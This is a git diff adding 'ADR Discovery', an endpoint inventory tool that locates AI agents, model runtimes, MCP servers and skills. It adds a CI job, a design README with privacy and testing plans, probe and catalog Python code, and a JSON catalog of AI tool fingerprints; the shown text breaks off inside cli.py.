diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0ee0e6d..d871e3f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -38,6 +38,48 @@ jobs: - name: Run tests run: uv run pytest tests/ -q + test-discovery: + name: Discovery tests (py${{ matrix.python-version }}) + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] + defaults: + run: + working-directory: Discovery + steps: + - uses: actions/checkout@v7 + + - name: Install uv + uses: astral-sh/setup-uv@v7 + with: + version: "latest" + enable-cache: true + + - name: Set up Python + run: uv python install ${{ matrix.python-version }} + + - name: Install dependencies + run: uv sync --extra dev --python ${{ matrix.python-version }} + + - name: Run tests + run: uv run --python ${{ matrix.python-version }} pytest tests/ -q + + - name: Build distributions + if: matrix.python-version == '3.12' + run: uv build + + # Mirrors test-sensor-gate: one stable check name in front of the matrix. + test-discovery-gate: + name: Discovery tests + runs-on: ubuntu-latest + needs: test-discovery + if: always() + steps: + - name: All Discovery matrix legs must pass + run: test "${{ needs.test-discovery.result }}" = "success" + test-sensor: name: Sensor tests (py${{ matrix.python-version }}) runs-on: ubuntu-latest diff --git a/Discovery/LICENSE b/Discovery/LICENSE new file mode 100644 index 0000000..6d772a8 --- /dev/null +++ b/Discovery/LICENSE @@ -0,0 +1,189 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. 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Known tools are identified against a catalog with proofs; unknown ones are scored on behaviour and queued for review rather than silently dropped. + +This is Plane A of ADR Discovery: the endpoint collector. It is standard-library-only on Python 3.11+, so it deploys to hosts that cannot reach PyPI. + +## Status + +`adr_discovery/` is the implementation that ships today. This README describes the architecture it is being restructured toward — read the module boundaries and the code layout below as the specification, not as a description of the present package tree. + +| | | +| --- | --- | +| **Design of record** | `adr-discovery-design.html` — the full argument, the module contracts, and the evidence behind each decision | +| **Shipping today** | `adr_discovery/` — roughly 4,900 lines, the pipeline whose measured behaviour this design responds to | +| **In progress** | The M1–M7 split below, and the end-to-end fidelity harness under `tests/` | + +The rewrite exists because the old layout had no boundary a linter could check. Five probes each carried their own copy of `PROJECT_ROOTS`; a filename match was enough to become an asset; and a suite of 490 checks derived from the catalog passed while real placement failures went undetected. The sections below are organized around not repeating that. + +## What it has to find + +Four targets. They are not variations on one search — each lives somewhere different, is proven by different evidence, and fails differently. They are the contract, and a category the module has no representation for cannot be reported missing. + +| Target | Where it lives | What proves it | +| --- | --- | --- | +| **AI binaries** — CLI agents, runtimes, desktop apps, AI browsers, extensions | Package managers, app bundles, extension directories, model stores | An installed artifact: a file, a package record, a listening port | +| **AI agents** — definitions on disk, and live sessions | Process table, definitions, CI, cloud runners | Something running, or arranged to run without a person present | +| **MCP servers** — stdio, SSE, HTTP, containerized | Config files across a dozen host applications, policy stores, bundles | A declaration, and sometimes a running child process. Often nothing on disk at all | +| **Skills** — skills, slash commands, output styles, plugins | Agent state directories, plugins, repositories | A file in a structure an agent knows how to load | + +### Deliberately out of scope + +Two categories are excluded on purpose rather than by omission, and both are named in `coverage.out_of_scope` so a reader can tell a clean machine from an unasked question. + +- **Instruction and rules files** — `CLAUDE.md`, `AGENTS.md`, `GEMINI.md`, Cursor and Windsurf rules. These are prose that steers an agent, not software that runs. Their *filenames* remain markers that locate a repository where an agent works; no instruction file becomes an asset. +- **Scripts the agent executes** — hooks, and the mechanisms that start an agent unattended: launchd plists, cron entries, systemd timers, scheduled tasks, login items. Discovery reports the agent, not the mechanism that starts it. + +## Architecture + +Six sources answer first, a thin endpoint plane turns them into an inventory, and a central plane sees what no endpoint can. + +``` + ┌───────────────────────────────────────────┐ + OS registries ──┐ │ Endpoint · Plane A │ + Filesystem ──┤ │ no root · no network · seconds │ + Kernel/runtime ──┼──▶ │ │ + Sensor telemetry ┤ │ M1 World access ── the only door │ + Network egress ──┤ │ ├ M2 Enumerate where to look │ + Exec journal ──┘ │ ├ M3 Extract what is declared │ ──▶ snapshot + │ ├ M4 Identify what it really is │ + coverage + │ ├ M5 Resolve one thing, one asset │ + │ ├ M6 Judge risk, sanction │ + │ └ M7 Report snapshot, delta │ + └───────────────────────────────────────────┘ +``` + +### The six sources + +Most of what we want to know is already indexed by something; querying it is cheaper and more complete than searching for it. + +| Source | Yields | +| --- | --- | +| Package databases — dpkg, rpm, apk, brew, npm, pipx, uv, cargo, go, snap, flatpak | Installed software with provenance attached | +| Application registries — LaunchServices, Uninstall hive, AppX, `.desktop` | Desktop applications, versions, publishers | +| Kernel — `/proc//exe`, `cwd`, listening sockets | What is running, from where, and what it serves | +| Application state — browser profiles, IDE extension roots, agent state dirs | Extensions and per-tool state, per profile rather than per default | +| Network — outbound connections, the resolver cache | What the machine *talks to*. The only channel that yields evidence for a tool the catalog has never heard of | +| Exec events — ESF, eBPF, ETW/Sysmon | What *ran between scans*, with argv and parent intact. Optional; absence is a coverage fact, never an empty result | + +What no registry indexes — repositories, agent directories, skill folders — is found by a marker-keyed sweep (`.git`, `.claude/`, `.mcp.json`, `agents/`, `skills/`), breadth-ordered under one shared budget, reporting every boundary it hits. + +The last two sources answer a different question from the first four. Listening sockets find a *server*; almost every AI tool is a *client*, and the connection it opens is the one piece of evidence it cannot suppress and still function. And a snapshot cannot see a short run — an agent that runs forty seconds a night is absent from every daily scan and present on the machine the whole time. + +> **Exec capture is an architectural fork, not a free source.** It is privileged, always-on and buffered — three properties Plane A does not otherwise have. It is optional; an endpoint without it reports execution as an unreached surface. Redaction happens at the ring buffer, filtering to AI-relevant executions, rather than collecting broadly and redacting later. + +### The seven modules + +| | Module | Owns | Prevents | +| --- | --- | --- | --- | +| M1 | World access | Every read of the machine, under a budget and a deny-list | Escapes, races, silent unreadable surfaces | +| M2 | Enumerator | Where to look: registries first, then a marker sweep | Missing anything outside a remembered path | +| M3 | Extractor | Turning a located surface into declarations | One malformed record erasing a file | +| M4 | Identifier | Deciding what a candidate actually is, and how sure | Renamed tools vanishing; decoys becoming assets | +| M5 | Resolver | Merging observations into assets; confidence; liveness | False splits and false merges | +| M6 | Judge | Risk verdicts, sanction state, findings | Findings the operator learns to dismiss | +| M7 | Reporter | Snapshot, coverage, delta, fleet drift | A partial inventory reading as a complete one | + +Three concerns cut across rather than sitting in the line: **C1 Catalog** is data, not code, so the landscape's weekly churn is not on the release train. **C2 Redaction** happens inside whichever stage touches risky text, never as a pass at the end. **C3 Coverage** is written by every stage, because every stage can fail to see something. + +## Code structure + +One directory per module. Directory names are the module names above verbatim, so the map and the filesystem cannot drift apart. + +``` +adr_discovery/ +├── cli.py argument parsing, exit codes. Nothing else. +├── pipeline.py the composition root — the only file importing more than one stage +│ +├── contracts/ the types the stages hand each other +│ ├── records.py Candidate · Declaration · Observation · Asset · Finding +│ ├── evidence.py Evidence{stage, channel, path, proof, confidence} +│ └── snapshot.py Snapshot + Coverage — the output shape, versioned +│ +├── world/ M1 · the only door to the machine +│ ├── gate.py canonicalize → contain → verify the fd → read under budget +│ ├── budget.py one ceiling, shared, and reported when it is hit +│ └── platform/ the only place an OS difference may exist +│ └── darwin.py · linux.py · windows.py +│ +├── enumerator/ M2 · where to look +│ ├── sources/ one file per source above — add a source, add a file +│ │ ├── packages.py · appreg.py · kernel.py · appstate.py +│ │ ├── network.py outbound connections · resolver cache +│ │ └── execjournal.py ESF · eBPF · ETW/Sysmon — optional +│ ├── sweep.py marker traversal, breadth-ordered, under the shared budget +│ ├── markers.py the marker set, as data +│ └── roots.py priority roots — one definition +│ +├── extractor/ M3 · what is declared +│ ├── isolate.py the per-record try boundary, written once +│ └── formats/ json.py · toml.py · yaml.py · plist.py · workflow.py +│ +├── identifier/ M4 · what it really is +│ ├── ladder.py provenance → content → behaviour → convention, stop at proof +│ ├── verify.py run the version probe, then check the shape of the answer +│ └── openworld.py score the uncatalogued on properties, never on names +│ +├── resolver/ M5 · one thing, one asset +│ └── keys.py · merge.py · confidence.py +├── judge/ M6 · risk, sanction, findings +│ └── risk.py · sanction.py · findings.py +├── reporter/ M7 · snapshot, coverage, delta +│ └── snapshot.py · delta.py · identity.py +│ +├── catalog/ C1 · data, not code +│ ├── catalog.json ships on its own cadence +│ └── load.py schema-validated at load; never trusted raw +├── redact/ C2 · imported by whoever touches risky text +└── coverage/ C3 · the ledger every stage writes to +``` + +### The rules that make it modular + +A boundary described only in a document is a boundary that has already been crossed. Each rule is checked by a test that walks the import graph, and that test is a build gate. + +| Rule | The regression it prevents | +| --- | --- | +| Only `world/` imports `os`, `pathlib`, `subprocess`, `socket` | Probes quietly growing private file access, each with its own containment bug | +| No stage imports a sibling stage | The cycle that makes any one stage impossible to test alone | +| Only `pipeline.py` imports more than one stage | Execution order becoming an emergent property of the import graph | +| `catalog/` imports nothing from the package | The landscape's weekly churn ending up on the release train | +| Every stage is a function from its input type to its output type, reading no module-level state | `PROJECT_ROOTS` in five files — the defect this rewrite exists for | +| Every stage returns its coverage alongside its result | A partial answer that reads as a clean machine | + +Every other guarantee in this file is a claim about intent. The import test is a claim about the code, it runs in under a second, and it fails on the pull request that would have reintroduced the problem. + +## The snapshot + +One normalized record per asset, keyed so policy can act on it and a delta can track it. + +``` +asset_id stable across version upgrades, store rebuilds, credential rotation +kind cli_agent · app · ai_browser · model_runtime · model_weights + extension · mcp_server · mcp_bundle · skill · command + plugin · output_style · agent_definition · ci_agent · cloud_agent +identity catalog id, or a content-derived identity for the uncatalogued + name · vendor · version · install_path · install_root · install_method +owner a person, or "system" — never whoever ran the scan +location local · wsl: · container · remote: +evidence[] {stage, channel, path, proof, confidence} ← why we believe it +verification how identity was established: provenance · content · behaviour +confidence derived from channel count, reported as a band +liveness running · installed · declared_only +last_used from Sensor session telemetry +risk {pinned, factors[], credential_kinds[], env_names[], …} +``` + +`evidence` makes every claim checkable, and `verification` says which rung of the ladder established identity — so a reader can tell a package-owned binary from a filename that looked right. + +### Coverage travels with it + +Carried in the snapshot beside the assets, not in a log: + +``` +coverage: + roots_swept which, and to what depth + boundaries_hit depth reached · entry cap · budget exhausted + denied surfaces refused, and why + unavailable registries and services that could not be queried + truncated files and lists cut short, with true counts + probes which ran, which degraded, which failed + out_of_scope categories deliberately not collected, named +``` + +The rule is one line: **every asset that exists and is not in the snapshot must be explained by a coverage record.** A snapshot is emitted even when nothing is found — to fleet coverage, a host that reported an empty inventory and a host that never reported are very different facts. + +## Privacy + +This runs on employee laptops in a jurisdictionally messy fleet. The constraints below decide whether it can ship at all. + +- **No file contents.** Paths, metadata, hashes and allowlisted config keys only. A skill body holds business context and is not inventory data. +- **Names, never values.** Environment variable names, flag names, hosts and paths survive; their values do not. Query strings, fragments and userinfo are stripped from URLs. +- **Applied at collection**, inside the stage that touches the risky text — not as a filter afterwards, which is something a new probe can be added behind. +- **Both directions are measured.** A leak is obvious; over-redaction is not. A dropped flag name is an undetected permission bypass, so signal retention is measured alongside leak count. +- **Personal paths are denied centrally**, enforced at M1, so a stage added tomorrow inherits it. +- **`--dry-run --explain` prints exactly what would leave the machine**, per stage and per field. The collector is open source; an employee can read it and check. + +The tension worth naming: M4's content and provenance evidence is stronger than name matching precisely because it looks harder at the machine. The line held here is *hash and identify, never transmit content; report that a credential is reachable, never which one it is.* + +## Testing + +Accuracy claims state which layer produced them. A suite whose worlds are built from the catalog measures internal consistency — it cannot measure accuracy, and reporting it as accuracy is how real placement failures survived 490 passing checks. + +| Layer | Measures | Ground truth from | +| --- | --- | --- | +| Fixture corpus | Internal consistency, regressions | The catalog — and must be labelled as such | +| Golden endpoints | Real precision and recall | Real installs; the filesystem is the answer key | +| Placement matrices | Whether identity rests on names or on evidence | One artifact, many placements | +| Sensor-attested recall | Hard misses, continuously, in production | Session telemetry — a tool that ran exists | +| Capture–recapture | The unknown unknowns | Two independent channels and their overlap | + +### The two instruments + +[tests/README.md](../tests/README.md) documents the end-to-end fidelity measurement: real tools installed on a clean guest per OS, a scan before and after, and a comparison of what was installed against what the collector reported. Because it installs real software, signs into real accounts and starts real listeners, it is not part of per-commit CI — it runs against a release candidate, when the catalog changes, and when a new OS version ships. + +[tests/FIXTURE_SUITE.md](../tests/FIXTURE_SUITE.md) documents the fast per-commit suite: synthetic endpoints built on disk, scanned by a real pipeline, in about four seconds on any CI box. + +The two are complementary and neither replaces the other. The fixture suite has a perfect oracle — it built the machine — but can only contain situations somebody imagined, so it catches regressions. The VM run has real input nobody predicted but a slower, costlier oracle, so it discovers defects. Every defect a VM run finds should be reduced to a fixture case, which is the intended flow of work between them. + +Automating that VM run — provision, install a manifest, scan, score, and replay the scoring over recorded runs without touching a VM — is in progress under `tests/`. + +Unit tests mirror the package tree — one directory per module, importing only that module. The arrangement is the assertion: a module that cannot be tested without standing up three others does not have a boundary, whatever the directory listing says. + +## Build order + +Sequenced by how much of the measured failure each step removes, not by module number. + +| Step | Work | Closes | +| --- | --- | --- | +| 1 | Extract every hard-coded root into M2; single sweep, single budget, boundaries reported | 4 of 5 in-scope placement misses; duplicated tuples in five files | +| 2 | Kernel and registry sources; all browser profiles | Wrong-path attribution; extensions on non-default profiles; provenance for M4 | +| 3 | M4 evidence ladder with verified version shapes; catalog gains its `proofs` block | The fabricated asset; the renamed agent; missing versions | +| 4 | Content identity in M5; attributes bind to installs | The Ollama split, and its whole class | +| 5 | Coverage ledger as a first-class snapshot field | Every silent boundary, including the ones not yet found | +| 6 | Golden-endpoint corpus and a placement matrix per target, in CI | The circularity that let all of the above pass | + +Steps 1 and 2 are mechanical and remove most of the measured miss rate. Step 3 changes the module's character and is the one to be careful with: it must not cost precision. + +## License + +Apache License 2.0. See [LICENSE](../LICENSE). diff --git a/Discovery/adr_discovery/__init__.py b/Discovery/adr_discovery/__init__.py new file mode 100644 index 0000000..f9447f9 --- /dev/null +++ b/Discovery/adr_discovery/__init__.py @@ -0,0 +1,28 @@ +"""ADR Discovery - inventory of the AI tools and agents present on an endpoint. + +This package is Plane A of ADR Discovery: the endpoint collector. Probes +enumerate candidate surfaces, a catalog fingerprints the known ones, an +open-world scorer flags the unknown ones, and a resolver merges every +observation into assets. + +Every probe reads the world through an injected +:class:`~adr_discovery.env.DiscoveryEnv` rather than touching the live +machine, so the whole pipeline can be pointed at a fixture world and graded. +""" + +from .diff import diff_snapshots, fleet_drift +from .env import DiscoveryEnv, ProcessInfo, SocketInfo +from .runner import discover +from .schema import DiscoveredAsset, DiscoverySnapshot, Evidence + +__all__ = [ + "DiscoveryEnv", + "ProcessInfo", + "SocketInfo", + "discover", + "DiscoveredAsset", + "DiscoverySnapshot", + "Evidence", + "diff_snapshots", + "fleet_drift", +] diff --git a/Discovery/adr_discovery/base_probe.py b/Discovery/adr_discovery/base_probe.py new file mode 100644 index 0000000..021525f --- /dev/null +++ b/Discovery/adr_discovery/base_probe.py @@ -0,0 +1,111 @@ +"""Common probe machinery: observations, the deny-list, and never raising.""" + +import json +from dataclasses import dataclass, field +from typing import Any, Dict, List, Optional + +from .env import DiscoveryEnv +from .redact import is_denied, sanitize + + +@dataclass +class Observation: + """One probe's sighting of one thing. + + Probes never decide what exists; they report sightings with a channel and a + confidence. All merging happens in the resolver, so false-split and + false-merge have exactly one owner. + """ + + probe: str + channel: str + kind: str + name: str + path: str + matched_on: str + catalog_id: Optional[str] = None + version: Optional[str] = None + vendor: Optional[str] = None + realpath: Optional[str] = None + install_root: Optional[str] = None + install_method: str = "unknown" + pkg_identity: Optional[str] = None + signature: Dict[str, Any] = field(default_factory=dict) + owner: str = "" + identity_hint: Optional[str] = None + extra: Dict[str, Any] = field(default_factory=dict) + confidence: float = 0.5 + + +class BaseProbe: + """Base class for every probe. + + Two guarantees hold for all subclasses: a probe returns partial results plus + an error record rather than raising, and it never emits a path that falls in + the personal-content deny-list. + """ + + name = "base" + platforms = ("darwin", "windows", "linux") + + def __init__(self, catalog=None): + from .catalog import Catalog + + self.catalog = catalog or Catalog.load() + + def supports(self, env: DiscoveryEnv) -> bool: + return env.platform in self.platforms + + def run(self, env: DiscoveryEnv) -> List[Observation]: + """Collect observations, converting any failure into an error record.""" + try: + found = list(self.collect(env)) + except Exception as exc: # a probe must never take the scan down + env.errors.append({"probe": self.name, "stage": "collect", + "error_type": exc.__class__.__name__, "message": str(exc)}) + return [] + return [item for item in found if not is_denied(item.path)] + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + raise NotImplementedError + + # -- helpers shared by probes ---------------------------------------- + + def error(self, env: DiscoveryEnv, path: str, message: str) -> None: + env.errors.append({"probe": self.name, "path": sanitize(path), "message": sanitize(message)}) + + def isolate(self, env: DiscoveryEnv, label: str, work, default=None): + """Run one record's worth of work, surviving anything it does. + + The probe-level boundary is too coarse to keep the promise the module + makes. A failure happens per record, so isolating per probe means one + malformed - or deliberately malformed - entry erases every valid sibling + beside it, which is a denial of inventory an attacker can arrange. + """ + try: + return work() + except Exception as exc: + env.errors.append({"probe": self.name, "path": sanitize(str(label)), + "stage": "record", + "error_type": exc.__class__.__name__, + "message": sanitize(str(exc))}) + return default + + def read_json(self, env: DiscoveryEnv, logical: str) -> Optional[Any]: + """Bounded read plus tolerant parse. Malformed input is one error record. + + One unreadable config must never cost the rest of the scan, because a + probe that silently returns nothing is indistinguishable from a machine + on which the tool is simply not installed. + """ + result = env.read(logical) + if not result: + self.error(env, logical, result.error or "unreadable") + return None + if result.truncated: + self.error(env, logical, "truncated at read ceiling") + try: + return json.loads(result.text) + except ValueError as exc: + self.error(env, logical, "malformed json: %s" % exc) + return None diff --git a/Discovery/adr_discovery/catalog.json b/Discovery/adr_discovery/catalog.json new file mode 100644 index 0000000..7a1c79a --- /dev/null +++ b/Discovery/adr_discovery/catalog.json @@ -0,0 +1,586 @@ +{ + "version": "2026.08.18", + "note": "Fingerprints ship as data so a newly released tool is a catalog update, not a client release. sha256 lists are seeded centrally from observed installs and are empty here by design.", + "entries": [ + { + "id": "claude-code", + "name": "Claude Code", + "vendor": "Anthropic", + "kind": "cli_agent", + "binaries": [ + "claude" + ], + "npm_packages": [ + "@anthropic-ai/claude-code" + ], + "state_dirs": [ + "~/.claude" + ], + "sha256": [] + }, + { + "id": "codex", + "name": "OpenAI Codex CLI", + "vendor": "OpenAI", + "kind": "cli_agent", + "binaries": [ + "codex" + ], + "npm_packages": [ + "@openai/codex" + ], + "state_dirs": [ + "~/.codex" + ] + }, + { + "id": "gemini-cli", + "name": "Gemini CLI", + "vendor": "Google", + "kind": "cli_agent", + "binaries": [ + "gemini" + ], + "npm_packages": [ + "@google/gemini-cli" + ], + "state_dirs": [ + "~/.gemini" + ] + }, + { + "id": "opencode", + "name": "opencode", + "vendor": "SST", + "kind": "cli_agent", + "binaries": [ + "opencode" + ], + "npm_packages": [ + "opencode-ai" + ], + "state_dirs": [ + "~/.local/share/opencode" + ] + }, + { + "id": "amp", + "name": "Amp", + "vendor": "Sourcegraph", + "kind": "cli_agent", + "binaries": [ + "amp" + ], + "npm_packages": [ + "@sourcegraph/amp" + ], + "state_dirs": [ + "~/.config/amp" + ] + }, + { + "id": "crush", + "name": "Crush", + "vendor": "Charm", + "kind": "cli_agent", + "binaries": [ + "crush" + ], + "state_dirs": [ + "~/.config/crush" + ] + }, + { + "id": "aider", + "name": "aider", + "vendor": "Aider AI", + "kind": "cli_agent", + "binaries": [ + "aider" + ], + "pypi_packages": [ + "aider-chat" + ], + "state_dirs": [ + "~/.aider" + ] + }, + { + "id": "goose", + "name": "goose", + "vendor": "Block", + "kind": "cli_agent", + "binaries": [ + "goose" + ], + "npm_packages": [ + "@block/goose-cli" + ], + "state_dirs": [ + "~/.config/goose" + ] + }, + { + "id": "kilo-cli", + "name": "Kilo CLI", + "vendor": "Kilo", + "kind": "cli_agent", + "binaries": [ + "kilo" + ], + "npm_packages": [ + "@kilocode/cli" + ], + "state_dirs": [ + "~/.kilo" + ] + }, + { + "id": "qwen-code", + "name": "Qwen Code", + "vendor": "Alibaba", + "kind": "cli_agent", + "binaries": [ + "qwen" + ], + "npm_packages": [ + "@qwen-code/qwen-code" + ], + "state_dirs": [ + "~/.qwen" + ] + }, + { + "id": "copilot-cli", + "name": "GitHub Copilot CLI", + "vendor": "GitHub", + "kind": "cli_agent", + "binaries": [ + "copilot" + ], + "npm_packages": [ + "@github/copilot" + ], + "state_dirs": [ + "~/.copilot" + ] + }, + { + "id": "grok-cli", + "name": "Grok CLI", + "vendor": "xAI", + "kind": "cli_agent", + "binaries": [ + "grok" + ], + "state_dirs": [ + "~/.grok" + ] + }, + { + "id": "claude-desktop", + "name": "Claude Desktop", + "vendor": "Anthropic", + "kind": "app", + "bundle_ids": [ + "com.anthropic.claudefordesktop" + ], + "registry_names": [ + "Claude" + ], + "desktop_ids": [ + "claude.desktop" + ] + }, + { + "id": "cursor", + "name": "Cursor", + "vendor": "Anysphere", + "kind": "app", + "binaries": [ + "cursor-agent" + ], + "state_dirs": [ + "~/.cursor" + ], + "bundle_ids": [ + "com.todesktop.230313mzl4w4u92" + ], + "registry_names": [ + "Cursor" + ], + "desktop_ids": [ + "cursor.desktop" + ] + }, + { + "id": "windsurf", + "name": "Windsurf", + "vendor": "Codeium", + "kind": "app", + "bundle_ids": [ + "com.exafunction.windsurf" + ], + "registry_names": [ + "Windsurf" + ], + "state_dirs": [ + "~/.codeium/windsurf" + ], + "desktop_ids": [ + "windsurf.desktop" + ] + }, + { + "id": "zed", + "name": "Zed", + "vendor": "Zed Industries", + "kind": "app", + "binaries": [ + "zed" + ], + "bundle_ids": [ + "dev.zed.Zed" + ], + "registry_names": [ + "Zed" + ] + }, + { + "id": "vscode", + "name": "Visual Studio Code", + "vendor": "Microsoft", + "kind": "app", + "bundle_ids": [ + "com.microsoft.VSCode" + ], + "registry_names": [ + "Microsoft Visual Studio Code" + ] + }, + { + "id": "jetbrains-ai", + "name": "JetBrains IDE", + "vendor": "JetBrains", + "kind": "app", + "bundle_ids": [ + "com.jetbrains.intellij", + "com.jetbrains.pycharm", + "com.jetbrains.WebStorm" + ], + "registry_names": [ + "IntelliJ IDEA", + "PyCharm" + ] + }, + { + "id": "trae", + "name": "Trae", + "vendor": "ByteDance", + "kind": "app", + "bundle_ids": [ + "com.trae.app" + ], + "state_dirs": [ + "~/.trae" + ] + }, + { + "id": "warp", + "name": "Warp", + "vendor": "Warp", + "kind": "app", + "bundle_ids": [ + "dev.warp.Warp-Stable" + ], + "registry_names": [ + "Warp" + ] + }, + { + "id": "chatgpt-desktop", + "name": "ChatGPT", + "vendor": "OpenAI", + "kind": "app", + "bundle_ids": [ + "com.openai.chat" + ], + "registry_names": [ + "ChatGPT" + ] + }, + { + "id": "perplexity", + "name": "Perplexity", + "vendor": "Perplexity AI", + "kind": "app", + "bundle_ids": [ + "ai.perplexity.mac" + ], + "registry_names": [ + "Perplexity" + ], + "risk_factors": [ + "local_file_access" + ] + }, + { + "id": "gemini-desktop", + "name": "Gemini", + "vendor": "Google", + "kind": "app", + "bundle_ids": [ + "com.google.gemini" + ], + "registry_names": [ + "Gemini" + ] + }, + { + "id": "copilot-desktop", + "name": "Microsoft Copilot", + "vendor": "Microsoft", + "kind": "app", + "bundle_ids": [ + "com.microsoft.copilot" + ], + "registry_names": [ + "Microsoft Copilot" + ] + }, + { + "id": "raycast", + "name": "Raycast", + "vendor": "Raycast", + "kind": "app", + "bundle_ids": [ + "com.raycast.macos" + ], + "ai_optional": true, + "ai_config": [ + "~/Library/Application Support/com.raycast.macos/ai.json" + ] + }, + { + "id": "comet", + "name": "Comet", + "vendor": "Perplexity AI", + "kind": "ai_browser", + "bundle_ids": [ + "ai.perplexity.comet" + ], + "registry_names": [ + "Comet" + ], + "risk_factors": [ + "browses_on_behalf_of_user" + ] + }, + { + "id": "dia", + "name": "Dia", + "vendor": "The Browser Company", + "kind": "ai_browser", + "bundle_ids": [ + "company.thebrowser.dia" + ], + "risk_factors": [ + "browses_on_behalf_of_user" + ] + }, + { + "id": "atlas", + "name": "ChatGPT Atlas", + "vendor": "OpenAI", + "kind": "ai_browser", + "bundle_ids": [ + "com.openai.atlas" + ], + "risk_factors": [ + "browses_on_behalf_of_user" + ] + }, + { + "id": "ollama", + "name": "Ollama", + "vendor": "Ollama", + "kind": "model_runtime", + "binaries": [ + "ollama" + ], + "state_dirs": [ + "~/.ollama" + ], + "bundle_ids": [ + "com.electron.ollama" + ], + "ports": [ + 11434 + ], + "model_dirs": [ + "~/.ollama/models/manifests" + ] + }, + { + "id": "lm-studio", + "name": "LM Studio", + "vendor": "Element Labs", + "kind": "model_runtime", + "binaries": [ + "lms" + ], + "state_dirs": [ + "~/.lmstudio" + ], + "bundle_ids": [ + "ai.elementlabs.lmstudio" + ], + "ports": [ + 1234 + ], + "model_dirs": [ + "~/.cache/lm-studio/models" + ] + }, + { + "id": "llama.cpp", + "name": "llama.cpp server", + "vendor": "ggml", + "kind": "model_runtime", + "binaries": [ + "llama-server" + ], + "ports": [ + 8080 + ] + }, + { + "id": "vllm", + "name": "vLLM", + "vendor": "vLLM", + "kind": "model_runtime", + "binaries": [ + "vllm" + ], + "ports": [ + 8000 + ] + }, + { + "id": "gpt4all", + "name": "GPT4All", + "vendor": "Nomic AI", + "kind": "model_runtime", + "binaries": [ + "gpt4all" + ], + "bundle_ids": [ + "ai.nomic.gpt4all" + ], + "model_dirs": [ + "%LOCALAPPDATA%/nomic.ai/GPT4All", + "~/Library/Application Support/nomic.ai/GPT4All" + ] + }, + { + "id": "jan", + "name": "Jan", + "vendor": "Menlo Research", + "kind": "model_runtime", + "bundle_ids": [ + "jan.ai.app" + ], + "state_dirs": [ + "~/.jan" + ], + "model_dirs": [ + "~/.jan/models" + ], + "ports": [ + 1337 + ] + }, + { + "id": "localai", + "name": "LocalAI", + "vendor": "LocalAI", + "kind": "model_runtime", + "binaries": [ + "local-ai" + ], + "ports": [ + 8081 + ] + }, + { + "id": "open-webui", + "name": "Open WebUI", + "vendor": "Open WebUI", + "kind": "ai_frontend", + "ports": [ + 3000 + ], + "binaries": [ + "open-webui" + ] + }, + { + "id": "cline", + "name": "Cline", + "vendor": "Cline", + "kind": "extension", + "extension_ids": [ + "saoudrizwan.claude-dev" + ] + }, + { + "id": "continue", + "name": "Continue", + "vendor": "Continue", + "kind": "extension", + "extension_ids": [ + "continue.continue" + ] + }, + { + "id": "roo-code", + "name": "Roo Code", + "vendor": "Roo Veterinary", + "kind": "extension", + "extension_ids": [ + "rooveterinaryinc.roo-cline" + ] + }, + { + "id": "kilo-code", + "name": "Kilo Code", + "vendor": "Kilo", + "kind": "extension", + "extension_ids": [ + "kilocode.kilo-code" + ] + }, + { + "id": "copilot-ext", + "name": "GitHub Copilot", + "vendor": "GitHub", + "kind": "extension", + "extension_ids": [ + "github.copilot", + "github.copilot-chat" + ] + }, + { + "id": "openhands", + "name": "OpenHands", + "vendor": "All Hands AI", + "kind": "agent_platform", + "binaries": [ + "openhands" + ], + "ports": [ + 3001 + ] + } + ] +} diff --git a/Discovery/adr_discovery/catalog.py b/Discovery/adr_discovery/catalog.py new file mode 100644 index 0000000..8492e61 --- /dev/null +++ b/Discovery/adr_discovery/catalog.py @@ -0,0 +1,72 @@ +"""The fingerprint catalog, loaded as data. + +Shipped as JSON rather than code on purpose. The tool landscape churns weekly, +and a catalog that can only change with a client release leaves discovery +permanently behind the thing it exists to find. +""" + +import json +from pathlib import Path +from typing import Any, Dict, List, Optional + +_DEFAULT_PATH = Path(__file__).with_name("catalog.json") + +#: Fields indexed for the exact-match lookups probes make. +INDEXED_FIELDS = ("binaries", "npm_packages", "pypi_packages", "bundle_ids", + "registry_names", "desktop_ids", "extension_ids", "sha256") + + +class Catalog: + """Known-tool fingerprints with the indexes probes need.""" + + def __init__(self, entries: List[Dict[str, Any]], version: str = "unknown", + strict: bool = False): + self.entries = entries + self.version = version + #: Fingerprints claimed by more than one entry. Left silent, whichever + #: entry happened to load last wins every match, so the fleet is + #: attributed to a tool nobody chose. + self.duplicates: List[Dict[str, str]] = [] + self._by_id = {entry["id"]: entry for entry in entries} + self._index: Dict[str, Dict[str, Dict[str, Any]]] = {} + for field in INDEXED_FIELDS: + bucket: Dict[str, Dict[str, Any]] = {} + for entry in entries: + for value in entry.get(field, []) or []: + key = str(value).lower() + if key in bucket and bucket[key]["id"] != entry["id"]: + self.duplicates.append({"field": field, "value": key, + "entries": "%s,%s" % (bucket[key]["id"], + entry["id"])}) + continue + bucket[key] = entry + self._index[field] = bucket + if self.duplicates and strict: + raise ValueError("catalog has ambiguous fingerprints: %s" % self.duplicates) + self._ports: Dict[int, Dict[str, Any]] = {} + for entry in entries: + for port in entry.get("ports", []) or []: + self._ports[int(port)] = entry + + @classmethod + def load(cls, path: Optional[Path] = None, strict: bool = False) -> "Catalog": + data = json.loads(Path(path or _DEFAULT_PATH).read_text()) + return cls(data.get("entries", []), data.get("version", "unknown"), strict=strict) + + def get(self, catalog_id: str) -> Optional[Dict[str, Any]]: + return self._by_id.get(catalog_id) + + def match(self, field: str, value: Optional[str]) -> Optional[Dict[str, Any]]: + if not value: + return None + return self._index.get(field, {}).get(str(value).lower()) + + def match_port(self, port: int) -> Optional[Dict[str, Any]]: + return self._ports.get(int(port)) + + def has_hashes(self) -> bool: + """Whether hash matching is worth the Tier 2 cost on this fleet.""" + return bool(self._index.get("sha256")) + + def state_dir_names(self) -> List[str]: + return sorted({d for entry in self.entries for d in entry.get("state_dirs", []) or []}) diff --git a/Discovery/adr_discovery/cli.py b/Discovery/adr_discovery/cli.py new file mode 100644 index 0000000..c64a2f6 --- /dev/null +++ b/Discovery/adr_discovery/cli.py @@ -0,0 +1,100 @@ +"""``adr-discovery`` - run Plane A against this machine. + +``--dry-run --explain`` prints exactly what would leave the endpoint, per probe +and per field, so 